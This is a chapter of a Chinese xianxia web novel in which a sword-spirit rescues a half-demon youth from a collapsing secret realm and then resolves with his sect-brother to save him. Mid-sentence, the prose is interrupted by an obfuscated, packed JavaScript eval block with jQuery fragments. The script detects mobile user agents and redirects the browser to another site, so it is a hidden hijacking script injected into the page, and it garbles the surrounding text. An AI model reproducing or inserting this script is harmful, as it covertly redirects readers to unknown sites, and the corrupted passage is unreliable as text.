外层秘境也已摇摇欲坠,天地陷落之间,长剑破空而来,铿然钉进地面,斜挡住似星河的大半身体。
剑锋尖锐,灵光冷厉。
剑影矗立身前,仿佛天柱承山海之崩,前所未有地让人觉得靠谱……和安心。
燕岂名向后扫视小崽子惨白的脸,极为不悦:“我就一会不在,你把自己搞成这样?”
似星河咳嗽,用拇指反撇去嘴角血色,虚弱地笑了一下:
“他比我惨。”
许是知道理亏,向来嘴上不饶人的小崽子扶剑站起,没问他从何而来,只低低道:“左边。”
燕岂名瞬间明白了他的意思,轻甩剑柄,没有用力,咕哝一句:
“一会再和你算账。”
空间崩裂出巨大的口子,魔尊九嶷背后无形无质的幽海涌出,法阵化作一道道锁链将他扣紧,往回拖去。
九嶷拼命释出蚀月狼形,被越来越强的诅咒之力死死压制。
燕岂名微抬剑尖:“你怎么样?”
少年跪立于剑上,摇摇头:“我崩解了血脉,影响不大。”
一人一剑,银芒如梭,燕岂名载着他直直扎向幽冥封印的方向。
“左边,是这里?”
剑悬停在九嶷身侧,燕岂名对着一道法阵核心模样的灵纹问。
灵纹像半截团扣,流动着蓝盈莹的禁锢之力。
像是感应到了似星河的接近,那蓝光越发强盛,和他身上的诅咒之血遥相应和。
似星河闷声应下:“飞近点。”
指引流淌在血脉之中,加上剑契传来对阵法的明悟,似星河像是天生就知道如何做。
他咬破指尖,灵血御空,勾勒出另外半截团纹。
灵纹合二为一,一寸一寸飘向九嶷的胸口。
狼啸般的嘶吼划破天空,九嶷血眸里扭曲着怨愤和不甘,恨恨朝似星河的方向看来:“你——”
“你什么你!”
燕岂名和小崽子共享灵力,毫不客气,刷地一道剑刃甩出,直劈在九嶷胸口,撞得他声音一闷,往幽冥封印里坠去。
似星河薄唇紧抿,手指引导灵纹紧随其后。
他左手手腕仍在失血,苍白的嘴唇抖动,体内的诅咒之血越来越强,像一只无形的手狠狠挟着封印灵纹压下。
狼形虚影被锁链扯住,晃动着向后没入缝隙,血色在蓝色的禁锢之力之下越发势弱,渐渐难以挣开。
九嶷重新堕入幽冥。
“啧,”燕岂名看了一会,确认封印彻底弥合,嫌弃开评,“海里躺着不是挺凉快的,爬上来凑什么热闹。”
他轻轻翘翘剑柄,勾了下少年,却没听见小崽子的回复。
燕岂名:“???”
意识到不对,他瞬间凝眉回转。
剑上的少年晃了晃。
燕岂名剑刃一卷,却失之交臂,似星河失血不支,直直从剑上坠了下去。
“小孩!”
……
失去了蚀月血脉的支撑,秘境在加速坍塌。
不断飘落的碎片中,似星河直直下坠。
“滚!”
燕岂名烦躁地劈开一道碎片,朝少年的方向追去。
空间猛烈地激荡,不时有灵气爆鸣。
爆开的灵力划下一道道细痕,刻蚀得剑身光亮不再,逐渐驳痕斑斑。
终于,破破烂烂的剑拨开一道碎片,够到了少年的衣角。
似星河双眼紧闭,面色煞白,像一只枯零的落叶。
“小崽子,记着还有账没算!”
燕岂名奋力一弹剑身,扑过去将腰身卷住,第一次不是从小孩那里偷灵力,而是不管不顾地反输过去。
血咒因血脉的失落已经自然解开,连着的半截剑契传来的气息微弱。
地面近在咫尺,燕岂名拼尽灵力一击。
缓冲过后,他裹着小孩双双跌落在荒草中。
“咳、这时候就觉得,剑身还是不太方便。”
燕岂名呛咳着笑道,劫后余生般放松下来,灵力探去似星河腕间。
却在这时,他蓦地后背一寒。
偷袭!
电光石火之间,战斗本能驱使他将少年扑倒在地,拱起剑身背向攻击方向。
九嶷竟还是留了一手,趁着秘境崩碎,突破封印,打出了满是怒火的最后一击!
灵气已经不太充足,燕岂名牢牢将似星河护在身前。
他自我安慰。剑若碎了,说不定人形还回来了呢。
身后掌风眨眼便至。
——突然天旋地转,一只胳膊横过。
燕岂名被攥住剑柄一把护在怀里,巨大的灵气轰鸣被隔绝在外。
少年紧紧抱着他,在千钧一发之际翻了个身,守护和被守护的地位瞬间翻转。
似星河醒了!
燕岂名来不及高兴,甚至来不及生气。
剑身传来胸腔共鸣的一道闷哼,血腥味在头顶弥开。
但更要命的是随之而来的危险——
九嶷最后一击的灵力极强,本来摇摇欲坠的外层秘境瞬间崩裂。轰隆声中,时空停滞。
燕岂名透过镜子碎片般的间隙看见了围坐的高台,上面是魔门宗主和长老们。
秘境一碎,他们就会暴露在这些人眼皮下面。
得走!
剑如同灵敏的小动物,勾起再度昏迷过去的少年一把甩到身上,在秘境坍碎的瞬间,精准捞过掉落的草结络子。
“轰隆——”
秘境粉碎,烟尘散尽。血魔宗的众人看向出口的眼神不敢置信:
“怎么回事!秘境碎了?没有剑出来?”
.
燕岂名缩在芥子里,裹着似星河,一边用神识感受颠簸后退的外界。
刚刚一瞬间,他带着小崽子藏进石头里,滚出那群魔修的视线范围,才把兔子踢出去“驾车”。
“药是一点没用上,你倒还算物尽其用了。”
兔子翕动鼻子,放下嘴里叼的白石,拱了拱一边的青草,傻乎乎地吃起来。
“小孩,怎么样?”
这芥子本来是为了放药草的,能略微保鲜,但体积不大,藏人比较勉强。
似星河双眼紧闭,失血过多的脸颊染着奇异潮红。
燕岂名皱眉把剑尖贴上去:“发烧了。”
他现在是剑身,灵力要省着预其不备。
但燕岂名还是设法找到了一处温暖避风的山洞,把小崽子搬了过去,简单处理了伤口。
干草铺成的席子上,似星河的体温又冷了下来,简直和尸体一样冷,嘴里噫噫呜呜地发出幼狼似的声音。
燕岂名卷起剑尖看了一下自己,第一次生出无力感。
得有火,还有食物。
他喃喃道:“兔道友,得罪了。”
兔子汤的香气弥漫开时,融融的火堆烤暖了整个山洞。外面,魔界的满月也升了起来。
似星河昏迷发烧几乎持续了一整晚,在燕岂名喂了他几口灵力煨出的热汤之后,好歹不那么冰了,这会却着了火一样烧起来。
“呜呜……”他难受地拱动,身形忽然虚化,头上冒出两只耷拉的狼耳,“娘亲……”
似星河喃喃,明明是叫娘,声音却是满满的不解和委屈,叫到后面冷硬下来,又不呜咽了,开始烫热得受不了似的翻腾。
燕岂名把剑身贴上去,一点点渡着灵力。
满月皓皓,似星河的身形在人和狼之间撕扯,另有一股力量在他身体里横冲直撞。
难以分辨,难以安抚。
他的血液简直在打架,不住地沸腾起来,想要把主人焚烧干净。
燕岂名突然一抬剑尖,想起那只他还没打量过的草编络子。
皎月之下,剔透的珠子不再空空如也,安置在粗劣的络子之间,里面却盛满了一个秘境。
燕岂名勾着络子,晃了晃。
秘境化成一只小小的银眸雪狼,蜷缩在珠子里,尖尖的耳朵和草席上的似星河如出一辙。
燕岂名转过剑尖看少年,拧着剑刃,犹豫不决。
他到得太晚,虽然顺着似星河留下的线索进了水潭,但可能是血脉的缘故,依然迷失在两层秘境的夹隙之中,直到内层崩塌,剑契重连。
但他听见了魔尊诱哄似星河的话。
他需要这颗珠子补足自身,代价可能是抵不过魔的本能。
九嶷狡诈,隐患可能不止于此。
要怎么做?
草席上的少年突然发出野兽般的低吼,弓身好像要跳起来,紧接着一道蓝色的光弧跳过,烫灼着将他按下,一现即逝。
燕岂名立即转身,震惊低语:“怎么会?”
这蓝色灵光分明和加诸九嶷身上的禁锢之力同出一源。
燕岂名面色凝重下来,剑身带上几分沉闷的肃杀。
他探入少年的灵脉,不会错,他以为加固封印已经被渡过去的那道诅咒之力,根本就是和小孩的血脉纠缠在一起。
似星河身上的蚀月血脉没能彻底剥去,在满月之下被激发出来,另一半血脉所带的禁锢之力相应激活,自相矛盾,自我厮杀,这样下去,只会走向彻底自噬的消亡。
燕岂名看了眼珠子,刚刚犹豫不决的救命药,突然变成了催命符。
诅咒遇强则强,不能让他补足血脉,这样只会死得更快!
他瞬间有了决断,翻身贴到似星河后背,毫无保留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887341|176428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地将剩余灵力渡过去。
过程中,他下意识运转起天衍宗的心法,本以为剑身会无法施展,结果却很顺利。
剑上的光芒越来越黯淡,但渡去的灵力和在小孩体内横冲直撞的两股力量相比,简直是泥牛入海,螳臂当车。
“咳、咳咳——”
燕岂名不管不顾地继续,感觉剑身越来越沉重,渐渐像金石一样僵硬起来。
他撑着一股气力,想要再渡一点,就一点也好,却深刻地感知到自己正在枯竭。
就在这时,一道灵力突然灌入他体内。
掌门师兄愠怒的声音:“阿名?你做什么?找死吗?”
好不容易重新联系上,一上来就发现师弟的灵力在不要命般流失,旁边还是个存在感极强的魔修。
师兄?
燕岂名茫然抬头,发现视野一晃,自己变成了人形。
那颗盛着秘境的珠子飘在他身边,师兄的声音正是从里面传出来的。
“师兄?”他疑惑地咳了两下,欣喜道,“太好了,再给我渡一点灵力!”
段沉舟冷声:“钥匙在你手上,和我合力,把通道打开,赶紧回来。”
钥匙?这真是钥匙?
燕岂名看一眼珠子,心里刚刚升起的猜测得到了证实。
“咳咳,”他耍赖般道,“师兄,我都拿到钥匙了,就更不急着回去了吧。”
段沉舟怒不可遏:“那你是打算在魔界郊游,要不干脆安个家?”
燕岂名:“……”
摸摸鼻子,声音严肃了几分:“师兄,我旁边这个魔修,虽然有魔的血脉,心性却很纯良,他年岁不大,可以引之向善。”
意思就是要救了。
那头的段沉舟皱眉,知道自己的师弟对孩子一向宽容。
声音依旧很冷:“你总要衡量一下局面,两界屏障太重,我能渡给你的灵力有限,禁不住你这么用。”
而且也不见得能救活。
燕岂名苍白着脸,也皱眉摸向似星河的脉搏:
“知道知道,师兄,我这不是在想办——师兄!”
燕岂名猛地坐直,噤声感受似星河体内的变化,方才他以人身同样运转天衍宗心法,渡过去的灵力竟然发生了异变。
那股主禁锢的诅咒血脉,在心法影响下,竟然变得温和起来,开始梳理和约束另一半的蚀月血脉。
段沉舟听不见动静,焦急:“怎么了?”
燕岂名:“嘶——师兄,你说咱们师尊,会不会和魔尊有一个孩子?”
段沉舟:“???”
.
“你是说,他原本吞下钥匙,补足血脉,会立刻爆体,但你的宗门心法,反而恰恰可以调和?”
燕岂名点头:“师兄,这太巧了。你是不是也觉得,我掉入魔界,不是巧合。”
段沉舟沉默了。
燕岂名又道:“师兄,不管是谁把他做成了两界钥匙和封印魔尊的锁,也许就是要让我们天衍宗来做此审判。他性情纯良,罪不至死。”
段沉舟沉默了一会,叹气:“阿名,我是担心你。”
燕岂名怔住。
段沉舟沉声问他:“我方才说的并不是吓唬你,我能渡过去的灵力有限,只够我们合力打开通道回来,或者救他。
“天生魔修和我们仙修的修炼方法相悖,你要救他,必须先神识相融,这个过程你很可能受伤,滞留魔界,只能等我设法过去将你带回。拼着神魂受损的代价,你也愿意吗?”
说话的时候,燕岂名一直握着少年的手。
小崽子像是找到了安全地方,把顶着狼耳的毛绒脑袋拱进他怀里,两人成了半抱的姿势。
血脉的影响让他脱离了一些少年轮廓,隐隐有了向青年过渡的棱角。
总是冷峻的眉峰因为昏睡显得柔和,眼皮不安地抖动。
苍白失血的嘴唇像初遇那天,被他从水里捞出来一样紧抿着,不安,倔强,就是没那么凶了。
燕岂名突然想起,方才他睡梦里叫娘亲的事。
小崽子向来敏锐,自己凭借蓝色灵光和探视灵脉才猜出来的事,作为血脉纠葛相争的主场,他恐怕在看见九嶷身上灵纹的一瞬间就懂了。
若是没有天衍宗的心法这一变数,所谓的蚀月秘境,他不吞会死,吞下也会死。
那一开始又是谁,告诉他血脉的秘密,让他非要进来闯一闯的呢?
他唤得那么委屈,是因为觉得自己被骗进来加固封印,心心念念的娘亲只想让他送死吗?
燕岂名无声地叹了口气,轻轻揉了揉少年的脑袋。
笑眯眯抬头:“哎呀师兄,你难道还不知道我吗?我最喜欢做有难度的事情啦!”